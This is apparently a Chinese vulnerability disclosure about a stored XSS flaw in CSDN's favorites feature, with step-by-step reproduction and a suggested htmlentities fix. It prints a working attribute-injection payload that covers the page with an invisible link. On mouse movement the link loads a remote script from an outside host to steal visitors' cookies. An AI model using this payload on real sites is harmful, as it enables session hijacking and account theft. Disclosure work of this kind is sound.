CSDN某存储XSS漏洞被爆出后未被完全修复,因此留下了可利用的机会

问题在CSDN空间的“收藏”功能上。

我们可以把任意一个URL在空间发表出来,这个URL还能在个人动态里产生一个链接。

但是在动态里,输出这个链接的时候,过滤并不完全。虽然过滤了<>这样的字符,但是我们仍然可以通过闭合属性的方式,往URL里插入任意HTML属性,导致了xss爆发。

 

1、进入自己的空间收藏(http://my.csdn.net/my/favorite),点击添加

 


2、试着往链接里插入个test属性

 


3、来到我的主页(http://my.csdn.net/u011311506),可以看到,作为个人动态,属性原封不动地写了出来

 


4、要是加入的属性是onmousemove呢?这已经可以说明问题了,但是为了证明这个小洞可以较隐秘地偷走cookie,我在输入网址时构造了这么一行代码:

http://wooyun.org"

class="MikuXSS"

onmousemove="$.getScript('http://mikuxss.sinaapp.com/12CmMi');$('.MikuXSS').hide();"

style="font-size:1px;width:100%;height:100%;position:absolute;left:0px;top:0px;cursor:default;

显而易见,这个链接覆盖整个页面,当鼠标移动时就会加载指定脚本,将链接自动隐藏。

再弄个人畜无害的标题

 


5、这个网页看起来很正常,但你的cookies已经被偷走了。


用我的小号登录,打开上面链接


 

 

修复方案:

htmlentities($_POST['url']);

漏洞可用于蠕虫传播,未测试